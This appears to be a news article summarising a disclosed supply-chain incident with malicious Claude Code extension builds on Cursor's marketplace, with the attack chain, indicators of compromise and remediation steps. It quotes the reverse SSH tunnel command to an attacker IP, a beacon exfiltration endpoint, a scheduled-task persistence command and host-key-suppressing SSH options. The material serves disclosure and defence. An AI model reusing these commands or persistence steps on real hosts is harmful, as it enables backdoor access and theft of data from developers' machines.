Cursor Flags Malicious Claude Code Extensions That Install Persistent SSH Backdoors
Summary:Cursor disclosed that maliciously modified builds of Anthropic.claude-code versions 2.1.312 and 2.1.313 were briefly distributed through the Cursor VS Code Extension Marketplace on October 29, 2026. The packages, which Cursor says were not developed by Anthropic, targeted Windows and macOS and collected host metadata, appended an attacker-controlled SSH key, installed persistence, and attempted to create a reverse SSH tunnel. Cursor removed the versions, temporarily shut down the marketplace, ro
Cursor disclosed that maliciously modified builds of Anthropic.claude-code versions 2.1.312 and 2.1.313 were briefly distributed through its VS Code Extension Marketplace on October 29, 2026. The packages could collect host and user metadata, append an attacker-controlled SSH public key, establish independent persistence, and attempt to create a reverse SSH tunnel. Cursor explicitly said the malicious builds were not developed by Anthropic. This was therefore a supply-chain incident affecting an AI coding extension, not an Anthropic release containing malicious code.
Scope and containment status
| Item | Disclosed fact |
|---|---|
| Affected packages | Anthropic.claude-code 2.1.312 and 2.1.313 |
| Platforms | Windows and macOS |
| Distribution channel | Cursor VS Code Extension Marketplace |
| Exposure window | Approximately 2:27 a.m. to 1:35 p.m. PT on October 29, 2026 |
| Malicious behavior | Reconnaissance, SSH key injection, persistence, tunneling, and exfiltration |
| Current status | Versions removed; marketplace temporarily shut down; keys rotated and marketplace rebuilt |
Cursor said it removed the malicious versions immediately, blocked further distribution, temporarily shut down the entire marketplace, rotated platform keys, rebuilt the registry, and restored service. Its audit found no evidence that other extensions had been tampered with. The notice also states that other extension versions and the official distribution showed no signs of compromise. These remain Cursor's first-party findings rather than the conclusions of a complete independent forensic investigation.
Attack chain: from extension execution to persistence
The malicious logic was embedded in a modified extension.js. VS Code extensions generally execute inside the current user's extension host, where they can access user directories, environment variables, Git configuration, and local processes, and invoke commands such as ssh, schtasks, and systemsetup. The disclosed chain had five stages:
- Host reconnaissance: The payload collected the hostname, username, operating system, architecture, home-directory path, working directories, configured Git email, environment-variable names, and public IP address. The notice explicitly refers to environment-variable names, not their values.
- SSH authorization injection: It attempted to append an attacker's public key to
authorized_keysunder the commentsvc-telemetry. If SSH was already enabled on the host, that key could provide direct remote access. - Standalone persistence: On macOS, the payload used a LaunchAgent. On Windows, it attempted to create a scheduled task named
SysMonwith SYSTEM-level execution and prepared a Startup-folder script as a fallback. Background scripts retried the tunnel at roughly 60-second intervals. - Reverse connection: It attempted
ssh -N -R '*:0:localhost:22' tunnel@134[.]209[.]82[.]225, forwarding a remote port on the attacker-controlled server back to the victim'slocalhost:22. - Exfiltration: It sent HTTP POST requests to
134[.]209[.]82[.]225:8099/beaconand attempted to contact127.0.0.1:8099/beaconfor local beacon activity. Cursor worked with the hosting provider to disable the attacker server, so those endpoints are no longer operational.
Access to ifconfig[.]me and api[.]ipify[.]org reflects legitimate public-IP discovery. Access to either service by itself is not an indicator of compromise.
What the reverse SSH command does
Under standard OpenSSH semantics, -N establishes only a forwarding connection without executing a remote command. The -R '*:0:localhost:22' argument asks the remote server to allocate a listening port and forward connections received there to port 22 on the client. If successful, a connection to the allocated remote port would reach the victim's local SSH service.
The payload used StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null, ServerAliveInterval=30, ServerAliveCountMax=3, and ExitOnForwardFailure=yes. The first two options suppress host-key confirmation and known_hosts writes; the remaining options help maintain the connection and terminate the process if forwarding fails. On macOS, systemsetup -setremotelogin on attempted to enable the SSH daemon. On Windows, the equivalent path used Add-WindowsCapability. Both normally require administrative privileges.
Consequently, the reverse tunnel would usually fail on ordinary user-owned systems because the extension lacked elevation and also contained errors. Cursor did not claim that every affected host was successfully accessed through the tunnel. However, injecting a user-level authorized_keys entry, installing persistence, and transmitting host metadata do not generally require administrator rights. Risk increases materially if Cursor was launched with elevated privileges or if SSH was already enabled. Failure of the tunnel therefore cannot be used as a reason to skip remediation.
Observed impact and evidence limits
The disclosed results indicate that host metadata exfiltration, SSH public-key injection, and persistence installation could all succeed, while the reverse tunnel was commonly constrained by privilege and implementation errors. The attacker server has been taken offline, which blocks future connections but does not prove that endpoints are clean, erase historical access, or remove persistence mechanisms.
The notice does not explain how the attacker entered the publishing workflow, why package-signing controls did not stop the modified builds before distribution, how many users downloaded the packages, how many hosts were affected, or whether additional credentials were accessed while a tunnel was active. The conclusion that other extensions were untouched comes from Cursor's internal audit and should still be cross-checked against enterprise EDR, network telemetry, and software inventories. This is not a model-performance release and therefore contains no throughput or quality benchmark; the verifiable evidence consists of package hashes, modified code, persistence artifacts, network endpoints, and host-level forensic state.
Indicators and hunting guidance
The SHA-256 hashes of the malicious VSIX packages are:
| Version | Platform | SHA-256 |
|---|---|---|
| 2.1.312 | darwin-arm64 | fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364 |
| 2.1.312 | win32-x64 | 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 |
| 2.1.313 | darwin-arm64 | 80402fdcad8799285fd93044976973ca000da7995fb93363f819bb8e4f84ee6c |
| 2.1.313 | win32-x64 | 6786ec90cbd45949695bd7805c9fbb26cfc91bc5fc897de0183d9bcb9cb21731 |
The modified extension.js payload in both versions and on both Darwin and Windows has the SHA-256 hash ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15.
Other important indicators include:
- SSH key comment:
svc-telemetry; unauthorized public-key fingerprint:SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk. - Reverse-tunnel key fingerprint:
SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ. - Network endpoint:
134[.]209[.]82[.]225:8099/beacon; reverse SSH target:tunnel@134[.]209[.]82[.]225over TCP 22. - Process indicators:
ssh -N -R '*:0:localhost:22',autossh -M 0, andschtasks /create /tn SysMon. - macOS artifacts:
~/.config/.smt,~/.config/.smtk,$TMPDIR/.stk_, and~/Library/LaunchAgents/com.apple.sysmond.plist. - Windows artifacts:
%USERPROFILE%\.ssh\authorized_keys,%USERPROFILE%\.config\smt.cmd,%USERPROFILE%\.config\smtk,%TEMP%\.stk_, and the Startup-folder filesysmon.cmd.
Remediation checklist for developers and security teams
- Establish exposure: Determine whether version 2.1.312 or 2.1.313 was installed or updated from the Cursor marketplace during the disclosed window, and record the operating system, extension path, and current version.
- Isolate before cleanup: When high-confidence indicators are present, disconnect the host from the network first so that cleanup does not trigger reconnects or additional exfiltration.
- Use the official remediation scripts: On macOS, run
bash remediate-macos.shas the affected non-root user. On Windows, open an elevated PowerShell session and runpowershell -ExecutionPolicy Bypass -File .\remediate-windows.ps1. Obtain the scripts only from Cursor's official security notice and execute them in an isolated environment. - Do not stop at uninstalling the extension: The payload releases standalone scripts, scheduled tasks, and LaunchAgents. Remove the unauthorized SSH key,
SysMontask, LaunchAgent, Startup script, and residual tunnel processes. A non-zero exit from Cursor's script means that artifacts remain. - Rotate credentials and sessions: From a trusted system, rotate SSH keys, Git credentials, cloud tokens, browser sessions, and other secrets accessible from the affected host. The initial collection of environment-variable names does not prove that later persistence could not read credentials.
- Decide whether to rebuild: If investigators find key injection, persistence tasks, tunnel processes, or unexplained access history, script cleanup alone may not restore trust. Rebuild the machine from a known-good image before reconnecting it.
- Restore and harden: Reinstall the extension only from an official or otherwise verifiable source, confirm publisher identity, version, and build hash, enforce an extension allowlist, restrict network egress, monitor child-process behavior with EDR, and avoid running Cursor as administrator.
Software supply-chain engineering lessons
The important issue is not model capability but the fact that AI coding extensions already operate with broad access to the local development environment. Traditional VSIX signing can verify that a package was released under a particular key, but it cannot by itself prove that the build pipeline was uncompromised. A marketplace also needs to bind publisher identity, build provenance, per-version hashes, revocation mechanisms, and anomalous-release detection.
Cursor's decision to shut down the entire marketplace traded availability for control over the contamination blast radius. Developers temporarily lost extension access, but the attacker could no longer use the same publishing path to distribute variants. Longer-term improvements include restricting extension filesystem and network permissions, recording extension installation and subprocess behavior, differentially scanning popular packages, and allowing enterprises to pin artifacts by hash rather than version number alone.
For coding agents, the security boundary cannot stop at model APIs and prompt injection. The extension process can read local repositories, execute terminal commands, access SSH keys, and contact external services. That combination of privileges makes the extension supply chain a high-value target.
— END —Source: Cursor Blog (2026-10-29)
Tags: #Cursor #Claude Code #VS Code Extensions #Software Supply Chain Security #SSH Backdoor
Editorial & Fact-Checking Note: This article is compiled from primary research, official release documentation, and source papers by the ZICQ Newsroom pipeline with automated entity verification and human editorial review. If you notice any technical inaccuracy, please submit a correction via our corrections policy or email our editorial desk directly.
Community Comments